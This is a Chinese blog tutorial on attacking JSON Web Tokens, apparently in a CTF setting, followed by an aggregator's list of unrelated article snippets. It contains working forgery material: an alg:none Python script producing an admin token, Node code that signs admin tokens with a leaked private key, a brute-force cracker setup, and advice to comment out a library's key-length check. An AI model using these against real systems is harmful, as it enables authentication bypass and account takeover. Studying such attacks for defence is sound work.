JWT (JSON Web Token)

🎼个人主页:金灰

😎作者简介:一名简单的大一学生;易编橙·终身成长社群的嘉宾.✨

专注网络空间安全服务,期待与您的交流分享~

感谢您的点赞、关注、评论、收藏、是对我最大的认可和支持!❤️

🍊易编橙·终身成长社群🍊 : http://t.csdnimg.cn/iSLaP 期待您的加入~

免责声明:本文仅做技术交流与分享...

目录

JWT介绍

漏洞点:

当不校验算法时-->替换算法/使用空的算法,达到数据篡改目的

1 私钥泄露

2 公钥泄露

 

 总结加密方式:

总结jwt攻击:

 

JWT脚本.py:

JWT 爆破工具地址

调试报错


JWT介绍

JWT:
jwt是一个轻量级的认证规范 --对数据进行签名用的.
cookie放到客户端 可以随便改,
--防止数据被篡改1 对数据进行加密   内容对用户敏感,不需要对外
2 对数据进行签名   内容不敏感,但是确保不被篡改JWT是对数据进行签名,防止数据篡改,而不是防止数据被读取 (看到,不能改)JSON Web Token (JWT)

?username=admin&score=100      #别人传递过程中,会对积分进行篡改 
?username=admin&score=100&token=c17961f5f372f8cf039113909d715943
? md5(score=100&username=admin)=c17961f5f372f8cf039113909d715943
?score=100&username=admin&token=c17961f5f372f8cf039113909d715943篡改数据的同时,破解了算法,篡改了签名加盐机制,salt --->
md5(score=100&username=admin_ctfshow)=20f3fa445b286df3f1a518fcbcd8bbe2盐值有可能被爆破,也有可能被泄露增加更高的密码算法,不再简单的md5,盐值也大幅度提高长度,达到几百上千位 来保证我们的数据不被篡改  或者即使篡改了我们能发现.

 

漏洞点:

当不校验算法时-->替换算法/使用空的算法,达到数据篡改目的

不校验 headers
{"alg" : "None",   //算法 空"typ" : "jwt"
}
{"user" : "Admin"
}{"alg":"None","typ":"JWT"}
{"iss":"admin","iat":1673703091,"exp":1673710291,"nbf":1673703091,"sub":"admin","jti":"21a3d6eec9efbc030983fbc3650c0f03"}ewogICAgImFsZyIgOiAiTm9uZSIsCiAgICAidHlwIiA6ICJqd3QiCn0=.ewogICAgInVzZXIiIDogImFkbWluIgp9

1 私钥泄露

通过泄露的私钥,本地生成一个新的JWT验证字符串,绕过
1 私钥泄露
可以根据私钥生成任意的jwt字符串const jwt = require('jsonwebtoken');
const fs = require('fs');
var privateKey = fs.readFileSync('private.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'RS256' });
console.log(token)验签

2 公钥泄露

 

可以根据公钥,修改算法从非对称算法 到 对称密钥算法  
双方都使用公钥验签,顺利篡改数据
当公钥可以拿到时,如果使用对称密码,则对面使用相同的公钥进行解密
实现验签通过

3密码弱可以爆破


 

 总结加密方式:

1 非对称加密算法  私钥  公钥   (成对出现)只要两个是匹配的, 一个私钥加密的文件,用公钥都能解开(验签)
2 对称加密算法   暗号 口令  公钥 

总结jwt攻击:

1 空密码算法绕过 不验证算法的前提下
2 弱密码绕过   猜测弱密码
3 密码爆破   安装docker 执行jwtcracker
4 私钥泄露  直接利用私钥生成正确jwt字符串 过验签
5 公钥泄露  不验证算法前提下,修改算法为对称加密,通过公钥重新生成对称签名的字符串 实现验签通过

 


JWT脚本.py:

import time
import jwt
# payload
token_dict = {"iss": "admin","iat": 1610432484,"exp": 1610439684,"nbf": 1610432484,"sub": "admin","jti": "efec0205f601a537847ee2dd3ffa81ff"
}# headers
headers = {"alg": "none","typ": "JWT"
}
jwt_token = jwt.encode(token_dict,  # payload, 有效载体 key='',headers=headers,  # json web token 数据结构包含两部分, payload(有效载体), headers(标头)algorithm="none",  # 指明签名算法方式, 默认也是HS256).decode('ascii')  # python3 编码后得到 bytes, 再进行解码(指明解码的格式), 得到一个strprint(jwt_token)

JWT 爆破工具地址

GitHub - brendan-rius/c-jwt-cracker: JWT brute force cracker written in C

基于docker  docker build . -t jwtcrack
docker run -it --rm  jwtcrack 
要爆破的签名:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE

node安装jwt命令:  npm install jsonwebtoken  #安装完成之后会生成目录(依赖)
--save  //表示全局安装
jsonwebtoken版本问题


调试报错

版本15后,最小密钥2048
node_moudle/jsonwebtoken/sign.js
--将报错的地方注释掉. (不建议做法)
-->成功生成
 


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/51680.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AI绘画3分钟解决英文恐惧症,comfyui汉化插件

前言 全面解析:Comfy UI汉化插件的安装与配置指南 本文涉及的工作流和插件,需要的朋友请扫描免费获取哦 引言 本文图片来源网络,侵权联删除。 在全球化的今天,软件界面的本地化是提升用户体验的重要一环。对于许多非英语母语的…

Java面试题基础

基础总结 Java Java 平台无关性 主要通过三个方面实现. Java 语言规范: 通过规定 Java 语言中基本数据类型的取值范围和行为,比如 int 长度为 4 字节,这是固定的。Class 文件: 所有 Java 文件要通过 javac 或者其他一些 java 编…

EasyExcel入门

目录 一、文章简介 二、概念 1.EasyExcel是什么? 2.EasyExcel 能用在哪里? 3.为什么要选用EasyExcel解析excel? 4.如何使用EasyExcel? 三、EasyExcel快速入门 1.环境搭建 2.简单写excel 代码示例 TestFileUtil Employe…

iPhone最全隐藏功能

让你的iphone没有白买!一定要学会以下三十个iphone技巧: 一、正品苹果手机输入“苹果”会出现图标,山寨或其他机型只能打出红色的 二、长按图片中的人像不松,可以自动抠图。 三、Siri换男生,设置-Siri与搜索- Siri声音…

关于ollama+open webui无法局域网访问的解决办法

ollama api本地默认地址:http://127.0.0.1:11434 open webui的默认地址:http://127.0.0.1:3000 如果是本机访问,ollama默认允许本机跨域访问(哈里是看ollama的日志都是OPTIONS请求,bing后发现的)&#xf…

TensorFlow 可用的人脸识别的模型有哪些,各有什么优缺点

在使用TensorFlow进行人脸识别时,有多种可用的模型,每种模型在性能和应用场景方面各有不同。以下是一些常用的人脸识别模型及其优缺点: 1. FaceNet 优点: 高准确性:FaceNet通过计算脸部特征向量并进行向量比较,具有较高的识别准确性。通用性强:生成128维特征向量,可以…

Mysql:删除库下面所有表

Mysql删除库下面所有表 方法一 1、删除数据库: DROP DATABASE your_database_name;2、重新创建数据库: CREATE DATABASE your_database_name;方法二 1、生成删除表语句 SET FOREIGN_KEY_CHECKS 0;SELECT Concat(DROP TABLE IF EXISTS , table_nam…

Linux的NTP配置

一、监控时间: watch date 二、NTP配置 1、查看时间 ntpdate -q 192.168.192.3 ntpdate 192.168.192.3 2、配置时间服务器 vi /etc/ntp.conf server 192.168.192.3 iburst 3、设置时间不允许回调 vi /etc/sysconfig/ntpd OPTIONS"-u ntp:ntp -p /va…

什么时候使用auto

合理使用auto&#xff0c;可以让程序员从复杂的类型编码中解放出来&#xff0c;合理使用auto&#xff0c;可以让程序员从复杂的类型编码中解放出来。 那么什么时候使用auto呢&#xff1f; 1&#xff0e;当一眼就能看出声明变量的初始化类型的时候可以使用auto。 std::map<…

心灵调整:音乐之美

音乐每天都在不同的空间和复杂的形式影响着人们。从电梯音乐削减尴尬的沉默,到家庭交通堵塞。音乐增强了人们所爱的人与人之间的瞬间,并帮助他们度过艰难时期。音乐被用于世界各地几代人的各种形式的治疗。本文进一步阐述了它如何在几种类型的心理健康状况中得到应用。 什么是音…

【SOC 芯片设计 DFT 学习专栏 -- DFT DRC规则检查】

请阅读【嵌入式及芯片开发学必备专栏】 请阅读【芯片设计 DFT 学习系列 】 如有侵权&#xff0c;请联系删除 转自&#xff1a; 芯爵ChipLord 2024年07月10日 12:00 浙江 文章目录 概述DRC的概念Tessent DRC检查的概述时钟相关检查扫描相关检查BIST规则检查预DFT时钟规则检查 …

typescript 其他数据类型说明

/* any、unknown、never类型的区别相同&#xff1a;都是可以赋值任何类型 不同&#xff1a;any可以再赋任何值。unknown二次赋值只能再给any&#xff5c;unknown&#xff0c;不能时其他类型。never绝不能赋值&#xff0c;包括初始化赋值。*/let value1: any "123";…

SQL优化(一)基础概念

基数&#xff08;cardinality&#xff09; 表中某个列的唯一键的数量叫做基数&#xff0c;主键列的基数就是表中数据的总行数。 可以用select count(distinct 列名) from 表名来计算基数。 基数的高低影像列的数据分布。 例如&#xff1a;先用Scott账户创建一个测试表test …

设计模式15-门面模式

设计模式15-门面模式 "接口隔离"模式典型模式1. 适配器模式&#xff08;Adapter Pattern&#xff09;2. 装饰模式&#xff08;Decorator Pattern&#xff09;3. 桥接模式&#xff08;Bridge Pattern&#xff09;4. 代理模式&#xff08;Proxy Pattern&#xff09;5. …

Git基本原理介绍及常用指令

文章目录 前言一、Git是什么&#xff1f;集中化的版本控制系统分布式版本控制系统 二、Git基本概念三、git命令操作配置用户信息常用指令 总结 前言 如果你用Microsoft Word写过论文&#xff0c;那你一定有这样的经历&#xff1a;想删除一个段落&#xff0c;又怕将来想恢复找不…

kafka cmd

list topic ./bin/kafka-topics.sh --list --zookeeper 127.0.0.1:2181指定 conf 如果是 ssl 协议指定 指定配置文件 /opt/kafka/bin/kafka-consumer-groups.sh --command-config /opt/kafka/bin/kafka-console-consumer.sh --consumer.config/opt/kafka/bin/kafka-console…

linux:用户管理,增删改

1.查看当前登录的用户信息 [root@bgx ~]# id #查看当前所登陆的用户信息 # uid:用户id,系统只能识别uid,不能识别名字,人看名字 # gid:组id uid=0(root) gid=0(root) groups=0(root) [root@bgx ~]# id oldboy #查看其它用户的信息 uid=1000(oldboy) gid=1000(oldboy) g…

【Linux】2.Linux 指令大揭秘:常见八个指令的妙用(上)

欢迎来到 CILMY23 的博客 &#x1f3c6;本篇主题为&#xff1a;Linux 指令大揭秘&#xff1a;常见八个指令的妙用&#xff08;上&#xff09; &#x1f3c6;个人主页&#xff1a;CILMY23-CSDN博客 &#x1f3c6;系列专栏&#xff1a;Python | C | C语言 | 数据结构与算法 | …

【SpringBoot】参数传递之@ModelAttribute

ModelAttribute标注的方法会在Controller类的每个映射URL的控制执行方法之前执行。 ModelAttribute public void findUserById(PathVariable("userId") Long userId,Model model){ model.addAttribute("user",userService.findUserById(userId)); } GetM…

千万别从系统中创建线程, 看看从线程池中调用的线程的效率(1)

本篇会加入个人的所谓鱼式疯言 ❤️❤️❤️鱼式疯言:❤️❤️❤️此疯言非彼疯言 而是理解过并总结出来通俗易懂的大白话, 小编会尽可能的在每个概念后插入鱼式疯言,帮助大家理解的. &#x1f92d;&#x1f92d;&#x1f92d;可能说的不是那么严谨.但小编初心是能让更多人…